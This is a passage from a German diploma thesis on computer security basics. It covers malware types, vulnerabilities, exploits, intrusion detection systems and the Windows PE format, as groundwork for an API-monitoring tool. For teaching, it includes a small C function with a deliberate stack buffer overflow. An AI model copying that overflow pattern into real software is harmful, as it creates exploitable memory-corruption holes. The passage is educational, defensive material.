Viren. So existieren z.B. Bootviren, Dateiviren, Makroviren, Scriptviren, usw. 2.1.2. Würmer Würmer sind genau wie Viren ebenfalls selbstreproduzierend, benötigen aber kein Wirtsprogramm, sondern sind selbst ein vollständig ausführbares Programm. Die Klassifizierung als Wurm richtet sich ebenfalls nach der Verbreitungsweise. Da Würmer selbstständige Programme sind, sind sie nicht auf die Weitergabe durch einen Benutzer angewiesen. Würmer verbreiten sich, indem sie in Netzwerken nach Rechnern suchen, die verwundbare Dienste anbieten. Der Wurm nutzt dann eine Schwachstelle dieses Dienstes aus, um eine Kopie von sich selbst auf diesen Rechner zu transferieren und diese dort zu starten. Durch diese Technik verbreiten sich Würmer sehr schnell und unkontrolliert. 2.1.3. Bots Als Bot bezeichnet Malware, welche einem Angreifer erlaubt, einen infizierten Rechner fernzusteuern. Diese Form der Malware führt selbstständig keine schadhaften Aktivitäten aus, sondern wartet auf Befehle, welche sie über angeschlossene Netzwerke erteilt bekommt. Eine besondere Gefahr geht von Bots aus, wenn sich diese in einem Botnet befinden. Ein Botnet ist ein Verbund, bestehend aus einer Vielzahl durch Bots infizierter Rechner. Diese sind über einen sogenannten Command&Control-Server verbunden, welcher wiederum unter der Kontrolle eines Angreifers ist, der in solch einer Situation Operator genannt wird. Über den Command&Control-Server kann der Operator den Bots seines Botnets Befehle zukommen lassen, so dass diese alle gleichzeitig eine schadhafte Aktivität ausführen. Oft werden Botnets zur Spamverbreitung oder für DistributedDenial-of-Service-Attacken (DDoS-Attacke) genutzt. Eine DoS-Attacke ist ein Angriff auf einen Rechner mit dem Ziel, einen von diesem angebotenen Dienst arbeitsunfähig zu machen. Als DDoS-Attacke bezeichnet man dementsprechend eine Vielzahl von DoSAttacken, die gleichzeitig auf einen Zielrechner gestartet werden. 2.1.4. Trojanische Pferde Das charakteristische Merkmal eines Trojanischen Pferdes ist, dass dem Benutzer ein Programm geboten wird, welches eine nützliche Funktionalität besitzt, aber zusätzlich noch weitere (oftmals schädliche) Funktionen ausführt, von deren Existenz der Benutzer aber vor dem Start keine Kenntnis besitzt. Sie verbreiten sich dadurch, dass ein Benutzer ein Programm mit dem Trojanischen Pferd an andere Benutzer weitergibt, z.B. durch Weitergabe von Datenträgern oder durch Tauschbörsen. Trojanische Pferde sind also nicht selbstreproduzierend. Die Verbreitungsgeschwindigkeit hängt im Wesentlichen von 9 Kapitel 2. Grundlagen der Computersicherheit der Nützlichkeit und Attraktivität der bekannten Programmfunktionalität ab. 2.1.5. Backdoor-Programme Sind einmal Backdoor-Programme auf einem kompromittierten Rechner installiert, so ermöglichen sie einem Angreifer, auf einfache Art und Weise und unter Umgehung der existierenden Sicherheitsmechanismen mit dem Rechner Kontakt aufzunehmen und ihn für seine Zwecke zu missbrauchen. Solche Zwecke könnten beispielsweise das Versenden vom Spam-Mails sein oder die Benutzung des Computers zur Durchführung einer DoS Attacke. Meist werden diese Hintertüren mithilfe von Trojanischen Pferden, Würmern oder Viren auf den Zielrechner geschleust. 2.1.6. Spyware Das Ziel von Spyware ist es, persönliche Daten vom Computerbenutzer zu sammeln und diese unbemerkt an jemand Dritten zu verschicken. Sinn dieser Aktion soll sein, auf diese Weise möglichst viele Informationen über den Benutzer zu sammeln, um diese dann kommerziell zu nutzen. So kann beispielsweise das Surfverhalten im Internet dazu genutzt werden, um dem Benutzer gezielt auf ihn zugeschnittene Werbung zu präsentieren. Spyware ist nicht selbstreproduzierend und kommt meist versteckt in anderen Programmen auf den Rechner (siehe Trojanische Pferde). 2.1.7. Rootkits Unter dem Begriff Rootkit versteht man eine Sammlung von Werkzeugen (engl. kit), die dazu dienen, Administratorrechte auf einem System zu erhalten. Unter UNIX ist der Benutzer Root ein Systemadministrator mit den höchsten Privilegien. Häufig stellen Rootkits auch Tools zur Verfügung, die es erlauben, beliebige Objekte auf dem Computer zu verstecken, wie zum Beispiel Netzwerkverbindungen, Dateien oder auch ganze Prozesse. Aus diesem Grund kommen Rootkits oft in Verbindung mit anderen Arten von Malware zum Einsatz. 2.2. Schwachstellen Als Schwachstelle bezeichnet man Sicherheitslücken in einer Software. Dies sind Programmfehler und sie können unterschiedlicher Natur sein und unterschiedliche Ursachen haben. So kann es sein, dass die Software einfach nur fehlerhaft implementiert wurde oder aber bei deren Entwurf nicht alle möglichen Programmzustände berücksichtigt wurden. Während des Programmablaufs könnte dann ein logischer Zustand erreicht werden, in dem sich einem Benutzer ungewollte und nicht bedachte Möglichkeiten bieten, die dieser eigentlich nicht haben dürfte. In einem denkbar ungünstigen Fall erhält der Benutzer so beispielsweise höhere Privilegien als ihm eigentlich zustehen. Schwachstellen können aber auch durch die Verwendung einer Programmiersprache entstehen, deren Befehle 10 2.2. Schwachstellen sicherheitsrelevante Risiken in sich bergen. Ein Beispiel ist der Befehl strcpy der Programmiersprache C, welcher zwei Adressen von Zeichenketten übergeben werden. strcpy kopiert den Inhalt der Quell-Zeichenkette Zeichen für Zeichen in die Ziel-Zeichenkette und hört erst damit auf, wenn der Befehl in der Quell-Zeichenkette das Null-Zeichen liest, welches das Ende der Zeichenkette signalisiert. Bei dem Kopieren der Zeichen überprüft strcpy jedoch nicht, wie viele Zeichen die Ziel-Zeichenkette aufnehmen kann, so dass strcpy bei einer längeren Quell- als Ziel-Zeichenkette die Speicherbereiche hinter der Ziel-Zeichenkette überschreibt. Aber nicht nur Benutzer können solche Schwachstellen ausnutzen. Auch andere Programme können gezielt Schwachstellen einer Software ausnutzen. Häufig verbreitet sich Malware, insbesondere Würmer, so, dass sie Rechner in angeschlossenen Netzwerken suchen, die eine Schwachstelle in einem angebotenen Netzwerkdienst aufweisen. Durch diese Schwachstelle bringen sie den fremden Rechner dazu, eine Kopie von ihnen zu laden und diese zur Ausführung zu bringen. Die betroffenen Rechner sind dann selbst infiziert, und von dort aus suchen die gestarteten Wurminstanzen dann ebenfalls nach Rechnern mit Schwachstellen. 2.2.1. Beispiel für eine Schwachstelle Als Beispiel soll hier eine kleine Funktion dienen, die in der Programmiersprache C geschrieben wurde: C ist weitaus mehr auf die Performance als auf Sicherheit ausgelegt, und teilweise werden Grenzen von Speicherbereichen gar nicht oder nur unvollständig überwacht. Daraus resultiert eine der in den letzten Jahren am häufigsten auftretenden Schwachstelle: der Buffer Overflow. Diese Schwachstelle hat zur Folge, dass ein Buffer zum Überlauf gebracht werden kann. Durch diesen Überlauf ist es möglich, nachfolgende Speicherbereiche mit beliebigem Code zu überschreiben. Zur Veranschaulichung dient folgende Funktion: void Beispiel() { char a[8]; char b[6]; strcpy(a, "fleckig"); b[6] = ’d’; b[7] = ’r’; return; } Die Funktion besitzt zwei lokale Array-Variablen: a der Länge 8 und b der Länge 6. Entscheidend bei diesem Beispiel ist, dass beim Funktionsaufruf die Variable b vor der Variablen a auf den Stack abgelegt wird. Veranschaulicht wird dieses Beispiel in der Abbildung 2.1. Durch die fehlende Überprüfung der Buffergrenze von b wird beim Schreiben der Zeichen, die außerhalb der eigentlichen Länge bzw. Grenze von b liegen, der dahinter liegende Speicherbereich einfach überschrieben. Daraus resultiert, dass das 11 Kapitel 2. Grundlagen der Computersicherheit Array a nun nicht mehr den Inhalt fleckig besitzt, sondern die Zeichenkette dreckig beinhaltet. Die hier gezeigte Form eines Buffer Overflows nennt sich Stack Overflow, da über die Grenzen eines Buffers geschrieben wird, welcher auf dem Stack liegt. Stack 0 1 2 3 4 5 0 1 2 3 4 5 6 7 f l e c k i g strcpy(a, “fleckig”); b 0 1 2 a 3 4 5 0 1 2 3 4 5 6 7 d l e c k i g b[6] := ‘d’; b 0 1 2 a 3 4 5 0 1 2 3 4 5 6 7 d r e c k i g b[7] := ‘r’; b a Abbildung 2.1.: Stack Overflow Anstatt eine geringe Veränderung zu bewirken, wie in diesem harmlosen Beispiel, könnte ein Angreifer einen Stack Overflow aber auch ausnutzen, um dadurch Speicherbereiche mit neuen Sprungadressen und Maschinenbefehlen zu überschreiben. Es ist also durch Buffer Overflows ohne Probleme möglich, fremden Code in ein Programm einzuschleusen, der dann mit den Rechten des ausgenutzten Programms ausgeführt wird. So könnte ein Angreifer beispielsweise auch versuchen, eine Rootshell zu erlangen. [ho] Ein weiteres Beispiel für eine Schwachstelle ist unter http://www.microsoft.com/ technet/security/advisory/925059.mspx zu finden. Hierbei handelt es sich um eine Schwachstelle in Microsoft Word, die es ermöglicht, dass mit einem extra daraufhin präparierten Word-Dokument beliebiger Code mit den Rechten des Word-Benutzers ausgeführt werden kann. 2.2.2. Ausnutzen von Schwachstellen Zum Ausnutzen von Schwachstellen werden sogenannte Exploits benutzt. Ein Exploit ist ein Programm, dessen einziges Ziel es ist, eine Schwachstelle eines anderen Programms auszunutzen. Im Laufe der letzten Jahre wurden immer mehr Schwachstellen von Programmen bekannt. Mit ihnen wächst auch die Anzahl der Exploits. Das Metasploit Framework (http://www.metasploit.com) hat sich zum Ziel gesetzt, möglichst viele Informationen zu einzelnen Schwachstellen zur Verfügung zu stellen, und bietet auch eine Vielzahl von Exploits für Penetrationstests an. Dadurch sollen Softwarehersteller auf Schwachstellen in ihrer Software aufmerksam gemacht werden, damit sie diese Sicherheitslücken schließen können. Gewöhnlich trifft man eine Unterscheidung zwischen lokalen und remote Exploits. Remote Exploits fungieren über Netzwerke und nutzen Schwachstellen in angebotenen 12 2.3. Intrusion Detection Netzwerkdiensten aus. Lokale Exploits hingegen zielen auf Schwachstellen in Software ab, die unsauber oder fehlerhaft bestimmte Daten verarbeitet. Ein Beispiel für den zweiten Fall ist eine als E-Mail Attachment empfangene PowerPoint-Präsentation, die von ihrem Absender gezielt präpariert wurde, so dass bei deren Öffnen eine Schwachstelle im Programm Microsoft PowerPoint ausgenutzt wird. Wurde eine Schwachstelle erstmal erfolgreich ausgenutzt, dann besteht der nächste Schritt darin, eigenen Code zur Ausführung zu bringen, indem er in das ausgenutzte Programm eingeschleust wird. Da sich dieser Code in dem Prozesskontext des ausgenutzten Programms befindet, erhält der fremde Code genau dieselben Rechte wie dieses Programm. Den eingeschleusten Code nennt man Payload. Gewöhnlich ist dieser Code bösartiger Natur. Möglicher Schadcode könnte einem Angreifer eine privilegierte Shell zur Verfügung stellen oder etwa Daten ausspionieren oder gar löschen. Es existiert auch Malware, die keinen Payload benutzt, sondern sich einfach nur weiterverbreitet. Dies ist aber ebenfalls nicht hinnehmbar, da auch Malware ohne Payload unnötig Netzwerktraffic verursacht und Systemressourcen, wie zum Beispiel CPU-Zeit, beansprucht. Abgesehen davon möchten die meisten Benutzer grundsätzlich nicht, dass Programme ohne ihre Zustimmung oder gar versteckt vor ihnen ablaufen. 2.3. Intrusion Detection Der Name Intrusion (dt. Eindringen) deutet bereits darauf hin, dass darunter das Eindringen eines Angreifers in ein System zu verstehen ist. Als Intrusion bezeichnet man jeglichen Versuch von außerhalb oder innerhalb des eigenen Netzwerkes, der darauf abzielt, auf unerlaubte Weise die von einem System zur Verfügung gestellten Ressourcen zu missbrauchen. Demzufolge bezeichnet Intrusion Detection (dt. Entdeckung des Eindringens) jegliche Maßnahmen, die dazu dienen, solch ein unerlaubtes Eindringen in ein System zu erkennen. Für diese Entdeckung existiert eine Vielzahl an Werkzeugen und Komponenten, welche beispielsweise einen Systemadministrator bei der Aufdeckung eines solchen Eindringens unterstützen sollen. All diese Werkzeuge werden unter dem Begriff Intrusion Detection Systeme (IDS) zusammengefasst. Die Frage, was bei einem System als unerlaubtes Eindringen zu bezeichnen ist, muss individuell betrachtet werden. Die Antwort hängt davon ab, was auf einem System erlaubt ist und was nicht. So ist es zum Beispiel fraglich, ob das Lesen eigentlich vertraulicher Daten als unerlaubt anzusehen ist, wenn diese leicht zugänglich sind und gegen das Lesen durch Dritte keine Sicherheitsmaßnahmen ergriffen wurden. Eine allgemeine Definition des unerlaubten Eindringens findet sich in einem Buch von Tobias Klein [Kle01]: Jegliche Aktion, die zu einer Veränderung der Integrität, Vertraulichkeit oder Verfügbarkeit einer Ressource führt. In dieser Definition befinden sich drei Kenngrößen der IT-Sicherheit. Dabei bezeichnet Integrität den Schutz vor unbefugter Veränderung der Ressource, mit Vertraulichkeit wird der Schutz vor unbefugter Preisgabe der Ressource bezeichnet (zum Beispiel das 13 Kapitel 2. Grundlagen der Computersicherheit Lesen von Informationen, die man nicht lesen dürfte) und unter der Verfügbarkeit einer Ressource versteht man den Schutz vor deren unbefugter Vorenthaltung. [Fre] Neben dem übergeordneten Ziel, dass man mittels der Intrusion Detection genau dieses unerlaubte Eindringen entdecken und durch entsprechende Gegenmaßnahmen schlimmere Folgen vermeiden möchte, existieren weitere Teilziele. Bereits aus obiger Definition des unerlaubten Eindringens lassen sich wesentliche Ziele eines Intrusion Detection Systems ableiten: 1. Ein IDS soll die Integrität, Verfügbarkeit und Vertraulichkeit der bereitgestellten Ressourcen gewährleisten. Dieses Ziel ist unmittelbar aus der obigen Definition des unerlaubten Eindringens abgeleitet. 2. Ein IDS soll einen Administrator in der Reaktion auf einen möglichen Angriff unterstützen. Beispielsweise ist dies durch einen Alarm möglich, welcher unmittelbar nach dem Erkennen eines Eindringens ausgelöst wird. 3. Ein IDS soll kontinuierlich Arbeiten, ohne dass ein Administrator ständig eingreifen muss. 4. Ein IDS soll leicht in die vorhandene Systemstruktur integrierbar sein, d. h. mögliche Benutzer sollen nicht durch eine komplizierte Integration von einer Benutzung des IDS abgebracht werden. 5. Ein IDS soll fehlertolerant sein. Würden diese Systeme aufgrund einer erhöhten Fehleranfälligkeit oft ausfallen, so würden sie ihren Zweck nicht zufriedenstellend erfüllen. 2.3.1. Ansatzpunkte für IDS Meist werden die Intrusion Detection Systeme in zwei Kategorien eingeteilt. Der Unterschied zwischen diesen beiden Kategorien besteht in dem Objekt beziehungsweise in der Position, welche im Mittelpunkt der Überwachung eines IDS steht. Zum einen existiert die Gruppe der Host-basierten IDS (HIDS) und zum anderen die Gruppe der Netzwerkbasierten IDS (NIDS). Beide Systeme sind in Abbildung 2.2 veranschaulicht. In dieser Abbildung ist die gerade angesprochene Position, nach welcher diese Unterscheidung getroffen wird, mit Sensor gekennzeichnet. 2.3.1.1. Host-basierte IDS Host-basierte Intrusion Detection Systeme überwachen die Aktivitäten, welche lokal auf einem Host vor sich gehen. Viele Werkzeuge eines HIDS liefern dem Benutzer Informationen über die Verwendung und Zustände ausgewählter lokaler Systemkomponenten. Sollte das HIDS dabei ein verdächtiges Verhalten feststellen, wird sofort Alarm ausgelöst. HIDS versuchen, einen möglichen Angriffsversuch dadurch zu bemerken, dass sie die Spuren, die ein Angreifer dabei hinterlassen hat, erkennen und versuchen diese zurückzuverfolgen. Dazu können sie beispielsweise die vom System zur Verfügung gestellten Logdateien, Anwendungs-Logdateien und Systemdateien überwachen. Viele Werkzeuge 14 2.3. Intrusion Detection Sensor HIDS NIDS Sensor Abbildung 2.2.: NIDS (rötlich) und HIDS (bläulich) der HIDS zeichnen auch Login-Versuche auf oder beobachten Änderungen am Dateisystem, um so die Datenintegrität zu gewährleisten. Dabei sind natürlich besonders die Modifikationen von sensitiven Daten interessant. Zum Beispiel sollte keine Microsoft Office-Anwendung plötzlich und auf unerklärliche Weise auf die Passwort-Datenbank von Windows zugreifen und dann eine Netzwerkverbindung aufbauen. Im Idealfall geben HIDS Auskunft darüber, welche lokale Anwendung auf welche Ressourcen eines Hosts zugreift. 2.3.1.2. Netzwerk-basierte IDS Im Gegensatz zur Überwachung der Aktivitäten auf einem lokalen System durch die HIDS, überwachen Netzwerk-basierte Intrusion Detection Systeme den gesamten einund ausgehenden Netzwerkverkehr. Wahlweise kann auch nur ein Teil dieses Netzwerks, ein Netzwerksegment, überwacht werden. NIDS versuchen einen möglichen Angriff dadurch zu erkennen, dass sie den Netzwerkverkehr beobachten und diesen einer Analyse unterziehen. Die Analyse übernimmt eine eigens dafür bestehende Komponente, an welche die gesammelten Daten geschickt werden. Auf welche Art diese Daten analysiert werden können, beschreibt das Kapitel 2.3.2. Die Komponenten, welche zum Sammeln der Daten eingesetzt werden, bezeichnet man als die Sensoren des NIDS. Die Position der Sensoren nimmt dabei erheblichen Einfluss auf den Umfang der Überwachung und auf den durch das NIDS zusätzlich entstehenden Netzwerkverkehr. Existiert in einem Netzwerk zum Beispiel eine Firewall, so kann ein Sensor vor oder hinter dieser Firewall eingesetzt werden. Wird er vor der Firewall eingesetzt, ermöglicht diese Position das Erkennen aller Angriffe gegen das Netzwerk. Bei einer Positionierung hinter der Firewall wird man nur die Angriffe entdecken, welche nicht bereits durch die Firewall abgeblockt wurden. Die letztere Positionierung schützt das NIDS allerdings besser gegen solche Angriffe, die auf das Aushebeln des NIDS selber zielen. 15 Kapitel 2. Grundlagen der Computersicherheit Möchte man APIoskop einer dieser beiden Gruppen zuteilen, so müsste man es wohl in die Gruppe der Host-basierten IDS einordnen. Diese Einordnung liegt daran, dass APIoskop die Aufrufe der Windows API durch andere Prozesse überwacht, welche auf demselben Host laufen wie APIoskop selbst. 2.3.2. IDS-Komponenten Meist lässt sich ein IDS in mehrere Komponenten unterteilen. Damit ein IDS einen möglichen Angriffsversuch erkennen kann, vollzieht es mehrere Arbeitsschritte. Jeder dieser Schritte erfüllt eine eigene Aufgabe, welche von einer einzelnen Komponente des IDS durchgeführt wird: 1. Datensammlung: Diese Komponente sammelt Informationen, welche von der zweiten Komponente benötigt werden. Im Falle eines NIDS sind dies die Sensoren, die den Netzwerkverkehr mitschneiden. Bei HIDS sammelt die Komponente Informationen, welche sie von dem Betriebssystem des Hosts geliefert bekommt. Dies können Logdatei-Einträge, Login-Versuche oder auch Dateisystemzugriffe sein. Ebenfalls ist es vorstellbar, dass die durch APIoskop registrierten Funktionsaufrufe der Daten-Analyse-Komponente zur Verfügung gestellt werden. 2. Datenanalyse: Diese Komponente analysiert die Daten, welche sie von der ersten Komponente zur Datensammlung zur Verfügung gestellt bekommt. Wenn ein tatsächlicher Angriff festgestellt wird, dann geschieht dies durch diese Komponente. Die Analyse lässt sich in zwei Arten unterteilen: • Missbrauch-Analyse: Bei dieser Analyse-Technik werden die gesammelten Informationen mit bereits bekannten Angriffssignaturen verglichen. Auf diese Weise lassen sich Angriffe auf bekannte Schwachstellen des Systems entdecken. IDS, welche diese Analyse-Technik verwenden, nennt man Missuse-DetectionIDS. • Anomalie-Analyse: Bei der zweiten Analyse-Technik wird vor der Überwachung ein Profil des Systemverhaltens erstellt. Dabei muss sichergestellt sein, dass zum Zeitpunkt der Profilerstellung das System nicht bereits kompromittiert ist. Während der Überwachung werden die gesammelten Daten dann mit diesem normalen Systemverhalten verglichen, und bei signifikanten Abweichungen wird Alarm ausgelöst. IDS, welche diese Analyse-Technik verwenden, nennt man Anomaly-Detection-IDS. Sie können nicht nur Angriffe auf bekannte Schwachstellen erkennen, sondern darüber hinaus auch neue Angriffsmuster. 3. Ergebnisdarstellung: Die dritte Komponente eines IDS ist für die Darstellung der Ergebnisse verantwortlich, die aus der Datenanalyse hervorgegangen sind. Sie sollte diese benutzerfreundlich und leicht verständlich präsentieren. Darüber hinaus kann diese Komponente bei manchen IDS auch noch einen Alarm auslösen oder Benachrichtigungen an verantwortliche Personen, z. B. einen Systemadministrator, verschicken. 16 2.4. Related Work 2.3.3. Bekannte IDS In diesem Unterkapitel werden drei bekannte IDS kurz vorgestellt. Eine genauere Einführung in den Bereich der Intrusion Detection bieten unter anderem die Bücher hinter folgenden Literaturverweisen: [Kle01], [Cro02] und [uKJC04]. Vor allem das letzte Buch bietet eine gute Übersicht über Snort und andere IDS. - Snort: Snort ist wohl das am meisten benutzte NIDS. Es ist ein MissuseDetection-IDS und ursprünglich wurde dieses Open-Source-Projekt für UNIXSysteme entwickelt, ist mittlerweile aber auch für das Betriebssystem Windows verfügbar. Snort bietet die Möglichkeit, Protokollanalysen durchführen, den Inhalt von Datagrammen zu durchsuchen, mehrere Sensoren zu verwenden und besitzt eine große Anzahl vorgefertigter Angriffssignaturen. Zu beziehen ist Snort unter http://www.snort.org/. - Bro: Bro ist ebenfalls ein Open-Source-Projekt für UNIX-Systeme. Dieses NIDS ist Snort sehr ähnlich, besitzt aber den Vorteil, dass Bro den mitgeschnittenen Netzwerkverkehr auch auf Anomalien untersuchen kann. Für die auch mögliche Missbrauchs-Analyse können sogar Snort-Signaturen verwendet werden. Bro filtert den Netzwerkverkehr und verwirft alle Datenpakete, welche es als nicht wichtig einstuft. Die restlichen Datenpakete werden aufgrund der Informationen aus der Anwendungsebene in Gruppen eingeteilt, welche Ereignisse repräsentieren. Ereignisse können beispielsweise ein gescheiterter Verbindungsversuch oder eine Anfrage eines Browsers nach einer URL sein. Zu beziehen ist Bro unter http://www.bro-ids.org/. Dort befinden sich auch weitere Informationen. - Tripwire: Einzuordnen ist Tripwire in die Gruppe der HIDS. Dieses UNIX-Tool sichert die Integrität des Dateisystems. Dazu wird mit diesem bekannten Integritätschecker eine Datenbank angelegt, die CRC-Hashwerte ausgesuchter Dateien beinhaltet. Bei einem Aufruf von Tripwire werden die aktuellen Hashwerte mit denen aus der Datenbank verglichen. Stellt Tripwire dabei einen Unterschied fest, so ist dies ein sicheres Zeichen dafür, dass die betroffene Datei verändert wurde. Zu beziehen ist Tripwire unter http://www.tripwire.com/. - Network Flight Recorder: Das letzte vorgestellte IDS wird nur in einer kommerziellen Version vertrieben. Es existiert sowohl eine Variante für UNIX als auch für Windowssysteme. Für beide Betriebssystemfamilien werden graphische Oberflächen angeboten, und man kann den Network Flight Recorder sowohl als HIDS als auch als NIDS betreiben. Weitere Informationen sind auf der Webseite http://www.nfr.com zu finden. 2.4. Related Work Das von Microsoft entwickelte Detours ist ein Paket, welches alle wichtigen Funktionen liefert, die nötig sind, um Funktionsaufrufe abzufangen. Realisiert wird dies durch das Inline Hooking. Dabei wird die Funktion, deren Aufrufe abgefangen werden sollen, im Speicher gezielt so manipuliert, dass die Kontrolle nach deren Aufruf sofort an eine 17 Kapitel 2. Grundlagen der Computersicherheit selbstgeschriebene Hook-Funktion weitergegeben wird. Nähere Informationen zum Inline Hooking finden sich in Kapitel 3.3.5. Des Weiteren können durch Detours beliebige Programmbibliotheken oder Datensegmente (Payloads genannt) in Dateien des PE-Formats integriert werden. [Cor07] [uDB] Auch das von Mathias Rauen entwickelte MadCodeHook besteht aus einem Paket, welches alle wichtigen Funktionen bietet, welche zum Injizieren von Bibliotheken in Prozesse und zum Abfangen von Funktionsaufrufen notwendig sind. MadCodeHook kann sowohl für die Programmiersprachen Delphi als auch MSVC++ verwendet werden. Zur Zeit der Diplomarbeit wurde MadCodeHook in verschiedenen Versionen angeboten. Neben verschiedenen kostenpflichtigen Lizenzen existiert auch eine Freeware-Version. Die Einschränkung der letzteren besteht darin, dass man nur eine Programmbibliothek madCHook.dll erhält, welche die gebotenen Funktionen exportiert. [Rau] Mit der CWSandbox, welche aus der Diplomarbeit von Carsten Willems entstand, lässt sich automatisiert Malware analysieren. Dazu wird die zu untersuchende Malware in einer simulierten Umgebung ausgeführt und es wird deren Verhalten analysiert. Die Verhaltensanalyse basiert auf dem Abfangen von Systemaufrufen, welches die CWSandbox durch Inline Hooking realisiert. Auf Grundlage der registrierten Systemaufrufe liefert die CWSandbox einen ausführlichen Bericht darüber, welche Aktivitäten die Malware vollzogen hat. [Wil06] FileMon ist ein von Mark Russinovich und Bryce Cogswell erstellter Monitor, welcher alle Dateisystemaktivitäten in Echtzeit überwacht und anzeigt. Die Informationen, welcher Prozess in welcher Art und Weise auf welches Dateisystemobjekt zugreift, erhält FileMon aus einem vituellen Gerätetreiber [uBCa]. Das Registry-Pendant zu diesem Tool heißt RegMon und zeichnet alle Zugriffe auf die Windows-Registrierungsdatenbank auf. [uBCb] 2.5. Zusammenfassung Dieses Kapitel stellte grundlegende Begriffe aus dem Bereich der Computersicherheit vor. Eine Gefahr für die Computersicherheit stellt Malware dar. Mit dieser bösartigen Software beschäftigte sich das erste Unterkapitel 2.1. Innerhalb dieses kurzen Überblicks über Malware wurden verschiedene Malwaretypen charakterisiert. Dabei wurde unter anderem unterschieden zwischen Viren, Würmern, Trojanischen Pferden, Backdoor-Programmen, Spyware und Rootkits. Eine genaue Einteilung von schadhafter Software in eine dieser Kategorien ist allerdings nicht so einfach, da deren Übergang oft fließend ist. Diese Kategorisierung ist keineswegs vollständig, reicht aber für dieses Grundlagenkapitel aus. Das anschließende Kapitel 2.2 ging auf den Begriff der Schwachstelle ein. Dies sind Fehler in einem Programm, welche einem Benutzer oder anderer Software Möglichkeiten bieten, die in dieser Form nicht beabsichtigt sind. In einem denkbar ungünstigen Fall lassen sich so unberechtigterweise höhere Benutzerrechte erlangen. Verdeutlicht wurde diese Tatsache anhand eines Buffer Overflows. Dies ist die in den letzten Jahren wohl am häufigsten auftretende Schwachstelle. Zum Schluss dieses Unterkapitels wurden mit Exploits Programme vorgestellt, deren Aufgabe darin besteht, eine Schwachstelle gezielt 18 2.5. Zusammenfassung auszunutzen. Wird durch Ausnutzen einer Schwachstelle eine Anwendung dazu gebracht, dass diese unbemerkt nicht gewollte Aktivitäten ausführt, so wird dieses unübliche Verhalten durch eine Überwachung per APIoskop sichtbar. Schwachstellen sind eine Möglichkeit für Angreifer, in fremde Computersysteme einzudringen. Um solch ein unerlaubtes Eindringen zu erkennen, existieren viele Werkzeuge und Komponenten, die unter dem Begriff Intrusion Detection Systeme (IDS) zusammengefasst werden und mit denen sich das vorletzte Unterkapitel 2.3 beschäftigte. Um seine Aufgabe zu erledigen, sammelt ein IDS Daten, welche es in einem weiteren Schritt nach Spuren eines Eindringens hin untersucht. Je nachdem, wo sich der Sensor eines IDS befindet, bezeichnet man ein IDS als Host-basiert oder als Netzwerk-basiert. Im ersteren Fall befindet sich der Sensor auf einem einzelnen Rechner und im zweiten Fall in einem Netzwerk. Unter einem Sensor eines IDS versteht man die Komponente, welche für die Datensammlung zuständig ist. Üblicherweise besitzt ein IDS noch zwei weitere Komponenten: Eine zur Analyse der gesammelten Daten und eine dritte, deren Aufgabe in der Ergebnisdarstellung liegt. Am Ende diees Unterkapitels wurden kurz vier bekannte IDS präsentiert: Snort, Bor, Tripwire und Network Flight Recorder. Zum Schluss dieses Kapitels wurden Tools vorgestellt, welche APIoskop ähnlich sind. Das sind die beiden API-Hooking-Pakete Detours und MadCodeHook, die CWSandbox, FileMon und RegMon. 19 Kapitel 2. Grundlagen der Computersicherheit 20 Kapitel 3. Windowsgrundlagen und API-Hooking Dieses Kapitel soll der besseren Verständlichkeit der folgenden Kapitel dienen. Vor allen Dingen der Inhalt der letzten beiden Unterkapitel ist für das Verständnis des folgenden Kapitels 4 sehr wichtig. Das erste Unterkapitel dagegen dient hauptsächlich dazu, dass der Leser die anderen beiden Unterkapitel besser verstehen kann. Eine wichtige Rolle in der Funktionsweise und bei der verwendeten Technik von APIoskop spielen Programmbibliotheken und ausführbare Dateien. Die Dateien besitzen das PE-Dateiformat, dessen Aufbau kurz in Unterkapitel 3.1 vorgestellt wird. Ausführbare Dateien entehen bei der Compilierung eines Quellcodes, welcher in den meisten Fällen von einem Programmierer geschrieben wurde. Das Betriebssystem Windows bietet Programmierern eine Schnittstelle, welche diese benutzen können, um Anwenderprogramme zu erstellen. Diese Schnittstelle heißt Windows API und ist Gegenstand des Unterkapitels 3.2. Über diese Schnittstelle wird ein kontrollierter Zugriff auf die Systemressourcen gewährleistet. Das letzte Unterkapitel 3.3 stellt schließlich eine Technik vor, die es erlaubt, Funktionsaufrufe der Windows API abzufangen und auf eigene Funktionen umzulenken. Es wird beschrieben, wie man fremde Prozesse dazu bringen kann, dass diese die selbstgeschriebenen Funktionen in ihren Adressraum einblenden und diese anstatt der Originalfunktionen ausführen. 3.1. Das PE-Dateiformat Jede ausführbare Datei von Windows ist nach dem Portable Executable File Format (kurz: PE-Format) strukturiert. Die Dateiendungen, die für ausführbare Dateien unter Windows üblicherweise verwendet werden, sind unter anderem .exe, .dll, .sys, .drv, .com, .scr und .cpl. Dieses Format wurde Portable Executable genannt, da es erstens für ausführbare (engl. executable) Dateien benutzt wird und diese zweitens auf allen 32-Bit Betriebssystemen von Microsoft lauffähig sind (Portabilität). Abbildung 3.1 zeigt den Aufbau des PE-Formats. Dieses besteht aus verschiedenen Headern und mehreren Sektionen, welche logisch zusammenhängende Daten enthalten. 21 Kapitel 3. Windowsgrundlagen und API-Hooking MS-Dos Header MS-Dos Stub PE Signatur PE Header File Header Section Table Optional Header Section 1 .. . Data Directory Export Table Import Table Resource Table Exception Table .. . ... Section n Abbildung 3.1.: Das PE-Dateiformat Das erste Element des PE Formats ist ein MS-Dos Header. Dessen ersten zwei Byte beinhalten die Kennung MZ 1 . Jede Datei, unter Dos und Windows, wird durch diese Kennung als ausführbar markiert. Direkt anschließend folgt der MS-Dos Stub. Dieser ist ein unter Dos ausführbares Programm und wird auch nur dort ausgeführt. Meist wird durch dieses Programm nur die Meldung This program cannot be run in DOS mode ausgegeben. Das nächste Element ist der sogenannte PE Header. Dessen Anfang wird durch die Zeichenkette PE (gefolgt von zwei Null-Bytes) signalisiert, welche angibt, dass diese Datei eine Win32-PE-Datei ist, und wird am Offset 3Ch des Dos Stubs referenziert. Der File Header, welcher an das Common Object File Format (COFF) angelehnt ist, beinhaltet generelle Informationen über die Datei. Dies sind zum Beispiel die Anzahl der Sektionen in der Datei oder auch die Größe des folgenden optionalen Headers. Der Name des optionalen Headers sollte nicht wörtlich genommen werden: Sofern es sich bei der PE-Datei um ausführbare Dateien oder Bibliotheken handelt, muss dieser Header existieren. Innerhalb dieses Headers existiert unter anderem auch das Data Directory. Dieses hat die Form eines Arrays und jeder seiner Einträge stellt dem Windows Loader wichtige Informationen zur Verfügung. Die im Bezug auf diese Diplomarbeit wichtigsten Einträge sind die Import Adress Table (IAT) und die Export Adress Table (EAT). In der IAT sind alle Funktionen aufgelistet, welche im Code eines Programms oder der 